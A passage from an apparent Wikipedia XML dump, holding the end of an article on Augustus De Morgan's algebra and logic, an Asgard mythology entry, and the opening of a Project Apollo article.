The last two may be called the rules of reduction.  De Morgan professes to give a complete inventory of the laws which the symbols of algebra must obey, for he says, &quot;Any system of symbols which obeys these laws and no others, except they be formed by combination of these laws, and which uses the preceding symbols and no others, except they be new symbols invented in abbreviation of combinations of these symbols, is symbolic algebra.&quot; From his point of view, none of the above principles are rules; they are formal laws, that is, arbitrarily chosen relations to which the algebraic symbols must be subject. He does not mention the law, which had already been pointed out by Gregory, namely, &lt;math&gt;(a+b)+c = a+(b+c), (ab)c = a(bc)&lt;/math&gt; and to which was afterwards given the name of the ''law of association''. If the commutative law fails, the associative may hold good; but not ''vice versa''. It is an unfortunate thing for the symbolist or formalist that in universal arithmetic &lt;math&gt;m^n&lt;/math&gt; is not equal to &lt;math&gt;n^m&lt;/math&gt;; for then the commutative law would have full scope. Why does he not give it full scope? Because the foundations of algebra are, after all, real not formal, material not symbolic. To the formalists the index operations are exceedingly refractory, in consequence of which some take no account of them, but relegate them to applied mathematics. To give an inventory of the laws which the symbols of algebra must obey is an impossible task, and reminds one not a little of the task of those philosophers who attempt to give an inventory of the ''a priori'' knowledge of the mind.

De Morgan's work entitled ''Trigonometry and Double Algebra'' consists of two parts; the former of which is a treatise on [[Trigonometry]], and the latter a treatise on generalized algebra which he calls Double Algebra. But what is meant by Double as applied to algebra? and why should Trigonometry be also treated in the same textbook? The first stage in the development of algebra is ''arithmetic'', where numbers only appear and symbols of operations such as &lt;math&gt;+&lt;/math&gt;, &lt;math&gt;\times&lt;/math&gt;, etc. The next stage is ''universal arithmetic'', where letters appear instead of numbers, so as to denote numbers universally, and the processes are conducted without knowing the values of the symbols. Let &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt; denote any numbers; then such an expression as &lt;math&gt;a-b&lt;/math&gt; may be impossible; so that in universal arithmetic there is always a proviso, ''provided the operation is possible''. The third stage is ''single algebra'', where the symbol may denote a quantity forwards or a quantity backwards, and is adequately represented by segments on a straight line passing through an origin. Negative quantities are then no longer impossible; they are represented by the backward segment. But an impossibility still remains in the latter part of such an expression as &lt;math&gt;a+b\sqrt{-1}&lt;/math&gt; which arises in the solution of the quadratic equation. The fourth stage is ''double algebra''; the algebraic symbol denotes in general a segment of a line in a given plane; it is a double symbol because it involves two specifications, namely, length and direction; and &lt;math&gt;\sqrt{-1}&lt;/math&gt; is interpreted as denoting a quadrant. The expression &lt;math&gt;a+b\sqrt{-1}&lt;/math&gt; then represents a line in the plane having an abscissa &lt;math&gt;a&lt;/math&gt; and an ordinate &lt;math&gt;b&lt;/math&gt;. Argand and Warren carried double algebra so far; but they were unable to interpret on this theory such an expression as &lt;math&gt;e^{a\sqrt{-1}}&lt;/math&gt;. De Morgan attempted it by ''reducing'' such an expression to the form &lt;math&gt;b+q\sqrt{-1}&lt;/math&gt;, and he considered that he had shown that it could be always so reduced. The remarkable fact is that this double algebra satisfies all the fundamental laws above enumerated, and as every apparently impossible combination of symbols has been interpreted it looks like the complete form of algebra.

If the above theory is true, the next stage of development ought to be ''triple'' algebra and if &lt;math&gt;a+b\sqrt{-1}&lt;/math&gt; truly represents a line in a given plane, it ought to be possible to find a third term which added to the above would represent a line in space. Argand and some others guessed that it was &lt;math&gt;a + b\sqrt{-1} + c\sqrt{-1}\,^{\sqrt{-1}}&lt;/math&gt; although this contradicts the truth established by Euler that &lt;math&gt;\sqrt{-1}\,^{\sqrt{-1}}=e^{-\frac{1}{2} \pi}&lt;/math&gt;. De Morgan and many others worked hard at the problem, but nothing came of it until the problem was taken up by Hamilton. We now see the reason clearly: the symbol of double algebra denotes not a length and a direction; but a multiplier and ''an angle''. In it the angles are confined to one plane; hence the next stage will be a ''quadruple algebra'', when the axis of the plane is made variable. And this gives the answer to the first question; double algebra is nothing but analytical plane trigonometry, and this is why it has been found to be the natural analysis for alternating currents. But De Morgan never got this far; he died with the belief &quot;that double algebra must remain as the full development of the conceptions of arithmetic, so far as those symbols are concerned which arithmetic immediately suggests.&quot;

When the study of mathematics revived at the University of Cambridge, so did the study of logic. The moving spirit was Whewell, the Master of Trinity College, whose principal writings were a ''History of the Inductive Sciences'', and ''Philosophy of the Inductive Sciences''. Doubtless De Morgan was influenced in his logical investigations by Whewell; but other influential contemporaries were Sir W. Hamilton of Edinburgh, and Professor Boole of Cork. De~Morgan's work on ''Formal Logic'', published in [[1847]], is principally remarkable for his development of the numerically definite syllogism. The followers of [[Aristotle]] say that from two particular propositions such as '' Some M's are A's '', and '' Some M's are B's '' nothing follows of necessity about the relation of the A's and B's. But they go further and say in order that any relation about the A's and B's may follow of necessity, the middle term must be taken universally in one of the premises.  De~Morgan pointed out that from ''Most M's are A's and Most M's are B's'' it follows of necessity that ''some A's are B's'' and he formulated the numerically definite syllogism which puts this principle in exact quantitative form. Suppose that the number of the M's is &lt;math&gt;m&lt;/math&gt;, of the M's that are A's is &lt;math&gt;a&lt;/math&gt;, and of the M's that are B's is &lt;math&gt;b&lt;/math&gt;; then there are at least &lt;math&gt;(a+b-m)&lt;/math&gt; A's that are B's. Suppose that the number of souls on board a steamer was 1000, that 500 were in the saloon, and 700 were lost; it follows of necessity, that at least 700+500-1000, that is, 200, saloon passengers were lost. This single principle suffices to prove the validity of all the Aristotelian moods; it is therefore a fundamental principle in necessary reasoning.

Here then De Morgan had made a great advance by introducing ''quantification of the terms''.  At that time Sir W. Hamilton was teaching at Edinburgh a doctrine of the quantification of the predicate, and a correspondence sprang up. However, De Morgan soon perceived that Hamilton's quantification was of a different character; that it meant for example, substituting the two forms ''The whole of A is the whole of B'', and ''The whole of A is a part of B'' for the Aristotelian form ''All A's are B's''. Philosophers generally have a large share of intolerance; they are too apt to think that they have got hold of the whole truth, and that everything outside of their system is error. Hamilton thought that he had placed the keystone in the Aristotelian arch, as he phrased it; although it must have been a curious arch which could stand 2000 years without a keystone. As a consequence he had no room for De Morgan's innovations. He accused De Morgan of plagiarism, and the controversy raged for years in the columns of the ''Athenæum'', and in the publications of the two writers.

The memoirs on logic which De Morgan contributed to the Transactions of the Cambridge Philosophical Society subsequent to the publication of his book on ''Formal Logic'' are by far the most important contributions which he made to the science, especially his fourth memoir, in which he begins work in the broad field of the ''logic of relatives''. This is the true field for the logician of the twentieth century, in which work of the greatest importance is to be done towards improving language and facilitating thinking processes which occur all the time in practical life. Identity and difference are the two relations which have been considered by the logician; but there are many others equally deserving of study, such as equality, equivalence, consanguinity, affinity, etc.

In the introduction to the ''Budget of Paradoxes'' De Morgan explains what he means by the word. &quot;A great many individuals, ever since the rise of the mathematical method, have, each for himself, attacked its direct and indirect consequences. I shall call each of these persons a ''paradoxer'', and his system a ''paradox''. I use the word in the old sense: a paradox is something which is apart from general opinion, either in subject matter, method, or conclusion. Many of the things brought forward would now be called ''crackpots'', which is the nearest word we have to old ''paradox''. But there is this difference, that by calling a thing a crackpot we mean to speak lightly of it; which was not the necessary sense of paradox. Thus in the 16th century many spoke of the earth's motion as the ''paradox of Copernicus'' and held the ingenuity of that theory in very high esteem, and some I think who even inclined towards it. In the seventeenth century the depravation of meaning took place, in England at least.&quot;

How can the sound paradoxer be distinguished from the false paradoxer? De Morgan supplies the following test: &quot;The manner in which a paradoxer will show himself, as to sense or nonsense, will not depend upon what he maintains, but upon whether he has or has not made a sufficient knowledge of what has been done by others, especially as to the mode of doing it, a preliminary to inventing knowledge for himself... New knowledge, when to any purpose, must come by contemplation of old knowledge, in every matter which concerns thought; mechanical contrivance sometimes, not very often, escapes this rule. All the men who are now called discoverers, in every matter ruled by thought, have been men versed in the minds of their predecessors and learned in what had been before them. There is not one exception.&quot;

&quot;I remember that just before the American Association met at Indianapolis in [[1890]], the local newspapers heralded a great discovery which was to be laid before the assembled savants -- a young man living somewhere in the country had squared the circle.  While the meeting was in progress I observed a young man going about with a roll of paper in his hand. He spoke to me and complained that the paper containing his discovery had not been received. I asked him whether his object in presenting the paper was not to get it read, printed and published so that everyone might inform himself of the result; to all of which he assented readily. But, said I, many men have worked at this question, and their results have been tested fully, and they are printed for the benefit of anyone who can read; have you informed yourself of their results? To this there was no assent, but the sickly smile of the false paradoxer&quot; [Note: De Morgan did not say this (how could he? He died far before 1890...). Rather, as pointed out on the discussion page, this paragraph (and the rest of the article) is copied verbatim from a lecture given in 1916]

The ''Budget'' consists of a review of a large collection of paradoxical books which De Morgan had accumulated in his own library, partly by purchase at bookstands, partly from books sent to him for review, partly from books sent to him by the authors. He gives the following classification: squarers of the circle, trisectors of the angle, duplicators of the cube, constructors of perpetual motion, subverters of gravitation, stagnators of the earth, builders of the universe. You will still find specimens of all these classes in the New World and in the new century.

De Morgan gives his personal knowledge of paradoxers. &quot;I suspect that I know more of the English class than any man in Britain. I never kept any reckoning: but I know that one year with another? -- and less of late years than in earlier time? -- I have talked to more than five in each year, giving more than a hundred and fifty specimens. Of this I am sure, that it is my own fault if they have not been a thousand. Nobody knows how they swarm, except those to whom they naturally resort. They are in all ranks and occupations, of all ages and characters. They are very earnest people, and their purpose is ''[[bona fide]]'', the dissemination of their paradoxes. A great many -- the mass, indeed -- are illiterate, and a great many waste their means, and are in or approaching penury. These discoverers despise one another.&quot;

A paradoxer to whom De Morgan paid the compliment which Achilles paid Hector -- to drag him round the walls again and again -- was James Smith, a successful merchant of Liverpool. He found &lt;math&gt;\pi = 3 \frac{1}{8}&lt;/math&gt;. His mode of reasoning was a curious caricature of the ''reductio ad absurdum'' of Euclid. He said let &lt;math&gt;\pi = 3 \frac{1}{8}&lt;/math&gt;, and then showed that on that supposition, every other value of &lt;math&gt;\pi&lt;/math&gt; must be absurd; consequently &lt;math&gt;\pi = 3\frac{1}{8}&lt;/math&gt; is the true value. The following is a specimen of De Morgan's dragging round the walls of Troy: &quot;Mr. Smith continues to write me long letters, to which he hints that I am to answer. In his last of 31 closely written sides of note paper, he informs me, with reference to my obstinate silence, that though I think myself and am thought by others to be a mathematical Goliath, I have resolved to play the mathematical snail, and keep within my shell. A mathematical ''snail''! This cannot be the thing so called which regulates the striking of a clock; for it would mean that I am to make Mr. Smith sound the true time of day, which I would by no means undertake upon a clock that gains 19 seconds odd in every hour by false quadrative value of &lt;math&gt;\pi&lt;/math&gt;. But he ventures to tell me that pebbles from the sling of simple truth and common sense will ultimately crack my shell, and put me ''hors de combat''. The confusion of images is amusing: Goliath turning himself into a snail to avoid &lt;math&gt;\pi = 3\frac{1}{8}&lt;/math&gt; and James Smith, Esq., of the Mersey Dock Board: and put ''hors de combat'' by pebbles from a sling. If Goliath had crept into a snail shell, David would have cracked the Philistine with his foot. There is something like modesty in the implication that the crack-shell pebble has not yet taken effect; it might have been thought that the slinger would by this time have been singing -- And thrice [and one-eighth] I routed all my foes, And thrice [and one-eighth] I slew the slain.&quot;

In the region of pure mathematics De Morgan could detect easily the false from the true paradox; but he was not so proficient in the field of physics. His father-in-law was a paradoxer, and his wife a paradoxer; and in the opinion of the physical philosophers De Morgan himself scarcely escaped. His wife wrote a book describing the phenomena of spiritualism, table-rapping, [[table-turning]], etc.; and De Morgan wrote a preface in which he said that he knew some of the asserted facts, believed others on testimony, but did not pretend to know ''whether'' they were caused by spirits, or had some unknown and unimagined origin. From this alternative he left out ordinary material causes. Faraday delivered a lecture on ''Spiritualism'', in which he laid it down that in the investigation we ought to set out with the idea of what is physically possible, or impossible; De Morgan could not understand this.

=== Relations ===
De Morgan discovered [[relational algebra]] in his (1966: 208-46), first published in 1860. This algebra was extended by [[Charles Peirce]] (who admired De Morgan and met him shortly before his death), and re-exposited and further extended in vol. 3 of [[Ernst Schröder]]'s ''Vorlesungen über die Algebra der Logik''. [[Relational algebra]] proved critical to the ''[[Principia Mathematica]]'' of [[Bertrand Russell]] and [[Alfred North Whitehead]]. In turn, this algebra became the subject of much further work, starting in 1940, by [[Alfred Tarski]] and his colleagues and students at the [[University of California]].

==Notes==
{{ent|1|De_Morgan}} De Morgan, (1838) ''Induction (mathematics)'', ''The Penny Cyclopedia''.
{{ent|2|birthyear}} The year of his birth may be found by solving a conundrum proposed by himself, &quot;I was &lt;math&gt;x&lt;/math&gt; years of age in the year &lt;math&gt;x^2&lt;/math&gt; &quot; (He was 43 in 1849). The problem is indeterminate, but it is made strictly determinate by the century of its utterance and the limit to a man's life.

==References==
* De Morgan, A., 1966. ''Logic: On the Syllogism and Other Logical Writings''. Heath, P., ed. Routledge.
*[[Ivor Grattan-Guinness]], 2000. ''The Search for Mathematical Roots 1870-1940''. Princeton Uni. Press.
* [http://www.gutenberg.net/etext06/tbmms10p.pdf Ten British Mathematicians of the 19th Century (PDF)], by Alexander Macfarlane, available through [[Project Gutenberg]]

==External links==
* {{MacTutor Biography|id=De_Morgan}}

==See also==
* [[De Morgan's laws]]
* [[relational algebra]]

[[Category:1806 births|De Morgan, Augustus]]
[[Category:1871 deaths|De Morgan, Augustus]]
[[Category:19th century philosophers|De Morgan, Augustus]]
[[Category:British logicians|De Morgan, Augustus]]
[[Category:British mathematicians|De Morgan, Augustus]]
[[Category:British philosophers|De Morgan, Augustus]]
[[Category:Music theorists|De Morgan, Augustus]]

[[de:Augustus De Morgan]]
[[es:Augustus De Morgan]]
[[fi:Augustus De Morgan]]
[[fr:Auguste De Morgan]]
[[he:אוגוסטוס דה מורגן]]
[[ja:オーガスタス・ド・モルガン]]
[[nl:Augustus De Morgan]]
[[pl:August De Morgan]]
[[sk:Augustus De Morgan]]
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[[zh:奧古斯都·德·摩根]]</text>
    </revision>
  </page>
  <page>
    <title>Ascorbic Acid</title>
    <id>1459</id>
    <revision>
      <id>15899940</id>
      <timestamp>2004-08-12T22:38:32Z</timestamp>
      <contributor>
        <username>Ropers</username>
        <id>69801</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ascorbic acid]]</text>
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  </page>
  <page>
    <title>Asgard</title>
    <id>1460</id>
    <revision>
      <id>39686190</id>
      <timestamp>2006-02-15T03:58:50Z</timestamp>
      <contributor>
        <username>SashatoBot</username>
        <id>743015</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ja</comment>
      <text xml:space="preserve">:''This article is about the realm of Norse Mythology. For other uses, see [[Asgard (disambiguation)]].''

In [[Norse mythology]], '''Asgard''' ([[Old Norse language|Old Norse]]: '''Ásgarðr''') is the realm of the gods, the [[Æsir]], thought to be separate from the realm of the mortals, [[Midgard]]. 

The walls surrounding Asgard were built by a [[giant (mythology)|giant]]. As payment for his work, the giant was to receive the hand of [[Freyja]] in marriage, as well as the [[sun]] and the [[moon]]. This was agreed, provided that the work was completed within six months. In order to avoid honouring the agreement, [[Loki]] transformed himself into a mare to lure away the giant's magic horse, [[Svadilfari]]. The job was therefore not completed on time, and the gods evaded the payment.

The plain of [[Idavoll]] is the centre of Asgard. The Æsir meet there for discussions on important issues: the male gods meet in a hall called [[Gladsheim]], and the female gods in a hall called [[Vingólf]]. They also meet daily at the [[Well of Urd]], beneath [[Yggdrasill]]. 

==Other spellings==
*Alternatives Anglicizations: Ásgard, Ásgardr, Asgardr, Ásgarthr, Ásgarth, Asgarth, Ásgardhr
* Common [[Swedish language|Swedish]] and [[Danish language|Danish]] form: Asgård
* [[Norwegian language|Norwegian]]: Åsgard (also Åsgård, Asgaard)
* [[Icelandic language|Icelandic]]: Ásgarður

{{NorseMythology}}

[[Category:Locations in Norse mythology]]

[[ca:Asgard]]
[[da:Asgård]]
[[de:Asgard (Mythologie)]]
[[el:Άσγκαρντ]]
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[[eo:Ásgarðr]]
[[fr:Asgard]]
[[hr:Asgard]]
[[is:Ásgarður]]
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[[he:אסגארד]]
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[[ja:アースガルド]]
[[no:Åsgard]]
[[nn:Åsgard]]
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[[ru:Асгард]]
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[[sv:Asgård]]</text>
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  <page>
    <title>Project Apollo</title>
    <id>1461</id>
    <revision>
      <id>40696016</id>
      <timestamp>2006-02-22T10:34:57Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* Background */</comment>
      <text xml:space="preserve">:''For other meanings, see [[Apollo (disambiguation)]].'' 
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300&quot; style=&quot;margin-left:0.5em;&quot;
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|'''North American Apollo CSM'''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;| [[Image:Apollo_CSM_lunar_orbit.jpg|300px|Apollo CSM in lunar orbit.]] &lt;br/&gt;Apollo CSM in lunar orbit.
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Description
|-
|width=&quot;75&quot; colspan=&quot;1&quot; |'''Role:'''||width=&quot;200&quot; colspan=&quot;2&quot;| Earth and lunar orbit 
|-
|width=&quot;75&quot; colspan=&quot;1&quot; |'''Crew: '''||width=&quot;250&quot; colspan=&quot;2&quot;| 3; CDR, CM pilot, LM pilot  
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Dimensions
|-
|'''Height:'''|| width=&quot;125&quot;|36.2 ft || width=&quot;125&quot;|11.03 m
|-
|'''Diameter:'''|| 12.8 ft || 3.9 m
|-
|'''Volume:'''|| 218 ft&lt;sup&gt;3&lt;/sup&gt;  || 6.17 m&lt;sup&gt;3&lt;/sup&gt;
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Weights
|-
|'''Command module:'''|| 12,807 lb || 5,809 kg
|-
|'''Service module:''' || 54,064 lb || 24,523 kg
|-
|'''Total:''' || 66,871 lb || 30,332 kg
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Rocket engines
|-
|'''CM RCS''' (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/UDMH) x 12:|| 92 [[Pound-force|lbf]] ea || 412 N
|-
|'''SM RCS''' (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/UDMH) x 16:|| 100 lbf ea || 441 N
|-
|'''Service Propulsion System'''&lt;br /&gt; (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/UDMH) x 1:|| 22,000 lbf ea || 97.86 kN
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Performance
|-
|''' Endurance:'''|| 14 days || 200 orbits 
|-
|''' Apogee:'''|| 240,000 miles || 386,242 km
|-
|''' Perigee:'''|| 100 miles || 160 km 
|-
|''' Spacecraft delta v:'''|| 9,200 ft/s &lt;br&gt; (6,272 mi/hr)|| 2,804 m/s &lt;br&gt; (10,094 km/h)
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|''' Apollo CSM diagram'''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;| [[image:Apollo-linedrawing.png|300px|Apollo CSM diagram (NASA)]] &lt;br/&gt;Apollo CSM diagram (NASA)
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|North American Apollo CSM
|-
|}

&lt;!-- When using a spelling checker use &quot;Skip All&quot; with this words, or add them all to a User Word List you use when checking this article, I'm sure all the English words are spelled correctly in this list, but I didn't worry about American, British, etc. spelling, I'm not sure if all the names are spelled correctly:
align:center td de:Apollo Projekt fr:Programme ja nl:Apollo zh Image:Apollo insignia.png EOR linedrawing.png Houbolt LOR CSM LEM dockings undockings Image:LEM crewless Apollos cancelled CNC litres IB IVB Soyuz Kranz website align
--&gt;
[[Image:Apollo program insignia.jpg|thumb|left|150px|Apollo Program insignia]]
'''Project Apollo''' was a series of [[human spaceflight]] missions undertaken by the [[United States|United States of America]] using the [[Apollo spacecraft]] and [[Saturn (rocket family)|Saturn launch vehicle]], conducted during the years 1961–1972. It was devoted to the goal of landing a man on the [[Moon]] and returning him safely to Earth within the decade of the 1960s. This goal was achieved with the ''[[Apollo 11]]'' mission in July 1969. The program continued into the early 1970s to carry out the initial hands-on scientific exploration of the Moon, with a total of six successful landings. As of 2006, there has not been any further human spaceflight beyond [[low earth orbit]]. The later [[Skylab|Skylab program]] and the joint American-Soviet [[Apollo-Soyuz Test Project]] used equipment originally produced for Apollo, and are often considered to be part of the overall program. The name [[Apollo]], like earlier manned space-flight programs, was named after a god from [[classical civilization]]s, and comes from one of the Greek gods.

==Background==

The Apollo Program was originally conceived late in the [[Dwight Eisenhower|Eisenhower]] administration as a follow-on to the [[Mercury program]], doing advanced manned earth-orbital missions. In fact, it became the third program, following [[Gemini program|Gemini]]. The Apollo Program was dramatically reoriented to an aggressive lunar landing goal by President [[John F. Kennedy|Kennedy]] with his announcement at a special joint session of Congress on [[May 25]], [[1961]]:

:&quot;...I believe that this nation should commit itself to achieving the goal, before this decade is out, of landing a man on the Moon and returning him safely to the Earth. No single space project in this period will be more impressive to mankind, or more important in the long-range exploration of space; and none will be so difficult or expensive to accomplish...&quot; (Excerpt from &quot;Special Message to the Congress on Urgent National Needs&quot;.[http://www.jfklibrary.org/j052561.htm])

==Choosing a mission mode==
Having settled upon the Moon as a target, the Apollo mission planners were faced with the challenge of designing a set of flights that would meet Kennedy's stated goal while minimizing risk to human life, cost and demands on technology and astronaut skill.  

Three possible plans were considered.
 
[[Image:Apollo Direct Ascent.png|thumb|left|225px|Apollo configuration for &lt;br /&gt;Direct Ascent and&lt;br /&gt; Earth Orbit Rendezvous - 1961 (NASA)]]

* '''Direct ascent:''' This plan was to boost a spaceship directly to the moon.  The entire spacecraft would land on and return from the moon. This would have required a [[Nova rocket]] far more powerful than any in existence at the time.

* '''Earth orbit rendezvous:''' This plan, known as Earth orbit rendezvous (EOR), would have required the launch of two [[Saturn V]] rockets, one containing the space ship and one containing fuel.  The spaceship would have docked in earth orbit and be fueled with enough fuel to make it to the moon and back.  Again, the entire spacecraft would have landed on the moon.

* '''Lunar Surface Rendezvous:'''   This would have required two spacecraft to be launched - the first one being an automated vehicle carrying propellants would land on the Moon, to be followed some time later by the 'manned' vehicle.  Propellant would be transferred from the automated vehicle to the 'manned' vehicle before the 'manned' vehicle could return to Earth.

* '''Lunar orbit rendezvous:''' This plan, which was adopted, is credited to [[John Houbolt]] and used the technique of 'Lunar Orbit Rendezvous' (LOR).  The spacecraft was modular, composed of a '[[Apollo Command/Service Module|Command/Service Module]]' (CSM) and a '[[Apollo Lunar Module|Lunar Module]]' (LM; originally Lunar Excursion Module {LEM}).  The CSM contained the life support systems for the three man crew's five day round trip to the moon and the [[heat shield]] for their reentry to Earth's [[earth's atmosphere|atmosphere]].  The LM would separate from the CSM in lunar orbit and carry two astronauts for the descent to the lunar surface, then back up to the CSM.

In contrast with the other plans, the LOR plan required only a small part of the spacecraft to land on the moon, thereby minimizing the mass to be launched from the moon's surface for the return trip.  The mass to be launched was further minimized by leaving part of the LM (that with the descent engine) behind, on the moon.

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300&quot; style=&quot;margin-left:0.5em;&quot;
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|'''Grumman Apollo LM'''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;| [[Image:Apollo 16 LM.jpg|300px|Apollo LM on lunar surface.]] &lt;br/&gt;Apollo LM on lunar surface.
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Description
|-
|width=&quot;75&quot; colspan=&quot;1&quot; |'''Role:'''||width=&quot;200&quot; colspan=&quot;2&quot;| Lunar landing 
|-
|width=&quot;75&quot; colspan=&quot;1&quot; |'''Crew: '''||width=&quot;250&quot; colspan=&quot;2&quot;| 2; CDR, LM pilot  
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Dimensions
|-
|'''Height:'''|| width=&quot;125&quot;|20.9 ft || width=&quot;125&quot;|6.37 m
|-
|'''Diameter:'''|| 14 ft || 4.27 m
|-
|'''Landing gear span:'''|| 29.75 ft || 9.07 m
|-
|'''Volume:'''|| 235 ft&lt;sup&gt;3&lt;/sup&gt;  || 6.65 m&lt;sup&gt;3&lt;/sup&gt;
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Weights
|-
|'''Ascent module:'''|| 10,024 lb || 4,547 kg
|-
|'''Descent module:''' || 22,375 lb || 10,149 kg
|-
|'''Total:''' || 32,399 lb || 14,696 kg
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Rocket engines
|-
|'''LM RCS''' (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/UDMH) x 16:|| 100 lbf ea || 441 N
|-
|'''Ascent propulsion system'''&lt;br /&gt;(N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/[[Aerozine 50]]) x 1:|| 3,500 lbf ea || 15.57 kN
|-
|'''Descent propulsion system'''&lt;br /&gt; (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;/[[Aerozine 50]]) x 1:|| 9,982 lbf ea || 44.4 kN
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Performance
|-
|''' Endurance:'''|| 3 days || 72 hours 
|-
|''' Apogee:'''|| 100 miles || 160 km
|-
|''' Perigee:'''|| surface || surface 
|-
|''' Spacecraft delta v:'''|| 15,387 ft/s &lt;br&gt; (10,491 mi/h) || 4,690 m/s &lt;br&gt; (16,884 km/h)
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|''' Apollo LM diagram'''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;| [[image:LEM-linedrawing.png|300px|Apollo LM diagram (NASA)]] &lt;br/&gt;Apollo LM diagram (NASA)
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;skyblue&quot;|Grumman Apollo LM
|-
|}

The [[Lunar Module]] itself was composed of a descent stage and an ascent stage, the former serving as a launch platform for the latter when the lunar exploration party blasted off for lunar orbit where they would dock with the CSM prior to returning to Earth.  The plan had the advantage that since the LM was to be eventually discarded, it could be made very light, so the moon mission could be launched with a single Saturn V rocket.  However, at the time that LOR was decided, some mission planners were uneasy at the large numbers of dockings and undockings called for by the plan.

To learn lunar landing techniques, astronauts practiced in the Lunar Landing Research Vehicle ([[LLRV]]), a flying vehicle that simulated (by means of a special, additional jet engine) the reduced gravity that the Lunar Module would actually fly in.

==Flights==

The Apollo program included eleven manned flights, designated ''[[Apollo 7]]'' through ''[[Apollo 17]]'', all launched from the [[Kennedy Space Center]], [[Florida]]. ''[[Apollo 4]]'' through ''[[Apollo 6]]'' were unmanned test flights (officially there was no ''Apollo 2'' or ''Apollo 3''). The ''[[Apollo 1]]'' designation was retroactively applied to the originally planned first manned flight which ended in a disastrous fire during a launch pad test that killed three astronauts, [[Virgil Grissom|Virgil &quot;Gus&quot; Grissom]], [[Edward Higgins White|Edward White]], and [[Roger Bruce Chaffee|Roger B. Chaffee]], in January 1967. The first of the manned flights employed the [[Saturn IB]] launch vehicle; the remaining flights all used the more powerful [[Saturn V]]. Two of the flights (''[[Apollo 7]]'' and ''[[Apollo 9]]'') were Earth orbital missions, two of the flights (''[[Apollo 8]]'' and ''[[Apollo 10]]'') were lunar orbital missions, and the remaining 7 flights were lunar landing missions (although one, ''[[Apollo 13]]'', failed to land).

''[[Apollo 7]]'' tested the Apollo command and service modules (CSM) in Earth orbit. ''[[Apollo 8]]'' tested the CSM in lunar orbit. ''[[Apollo 9]]'' tested the [[lunar module]] (LM) in earth orbit. ''[[Apollo 10]]'' tested the LM in lunar orbit. ''[[Apollo 11]]'' achieved the first human lunar landing. ''[[Apollo 12]]'' achieved the first lunar landing at a precise location. ''[[Apollo 13]]'' failed to achieve a lunar landing, but succeeded in returning the crew safely to earth following a potentially disastrous in-flight explosion. ''[[Apollo 14]]'' resumed the lunar exploration program. ''[[Apollo 15]]'' introduced a new level of lunar exploration capability, with a long-stay-time LM and a lunar roving vehicle. ''[[Apollo 16]]'' was the first manned landing in the lunar highlands. ''[[Apollo 17]]'', the final mission, was the first to include a scientist-astronaut, and the program's first manned night launch.

==Apollo Applications Program== 

In the speech which initiated Apollo, Kennedy declared that no other program would have as great a long-range effect on America's ambitions in [[outer space]]. Following the success of Project Apollo, both NASA and its major contractors investigated several post-lunar applications for the Apollo hardware. The &quot;Apollo Extension Series&quot;, later called the &quot;[[Apollo Applications Program]]&quot;, proposed at least ten flights. Many of these would use the space that the [[lunar module]] took up in the Saturn rocket to carry scientific equipment. 

